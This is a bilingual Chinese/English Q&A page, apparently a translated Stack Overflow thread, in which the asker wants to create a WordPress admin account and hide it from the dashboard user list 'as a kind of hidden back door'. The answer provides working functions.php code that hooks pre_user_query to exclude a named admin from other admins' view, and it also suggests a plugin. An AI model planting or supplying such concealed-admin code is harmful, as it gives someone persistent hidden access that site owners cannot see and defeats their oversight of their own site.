从Wordpress用户列表中隐藏特定的管理员帐户 [英] Hide A Particular Admin Account From Wordpress User List

查看:196
本文介绍了从Wordpress用户列表中隐藏特定的管理员帐户的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我想在Wordpress中创建一个管理员用户,然后将其从wordpress仪表板的用户列表中隐藏起来,作为一种隐藏的后门。我不是要隐藏所有管理员,而是只隐藏一个特定的管理员。

I'd like to create an admin user in Wordpress and then hide it from the users list in the wordpress dashboard, as a kind of hidden back door. I am not trying to hide all admins, only a particular one.

任何帮助都将不胜感激。

Any help is greatly appreciated.

推荐答案

您可以在 functions.php 中使用自定义函数来执行此操作。
这是一个示例:

You can do this with a custom function in your functions.php. Here is an example :

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username == '<USERNAME OF OTHER ADMIN>') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
  }
}

或者您也可以使用插件; http://wordpress.org/plugins/user-role-editor/

Or you can use a plugin for this; http://wordpress.org/plugins/user-role-editor/

这篇关于从Wordpress用户列表中隐藏特定的管理员帐户的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆